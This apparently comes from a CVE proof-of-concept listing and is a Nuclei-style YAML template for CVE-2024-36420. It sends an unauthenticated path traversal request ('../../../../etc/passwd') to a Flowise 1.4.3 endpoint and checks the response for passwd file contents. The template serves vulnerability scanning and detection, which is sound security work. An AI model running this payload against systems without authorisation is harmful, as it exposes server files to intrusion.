5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-36420.yaml YAML
id: CVE-2024-36420

info:
  name: Flowise 1.4.3 - Arbitrary File Read
  author: codex
  severity: high
  description: |
    Flowise version 1.4.3 is vulnerable to arbitrary file read in the
    /api/v1/openai-assistants-file endpoint due to unsanitized use of the
    fileName body parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36420
    - https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
    - https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982
  classification:
    cve-id: CVE-2024-36420
    cwe-id: CWE-74
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    vendor: flowiseai
    product: flowise
    max-request: 1
  tags: cve,cve2024,flowise,lfi,traversal,unauth,vuln

http:
  - raw:
      - |
        POST /api/v1/openai-assistants-file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileName":"../../../../etc/passwd"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - "(?m)^root:[^:]*:0:0:"
          - "(?m)^daemon:[^:]*:[0-9]+:[0-9]+:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"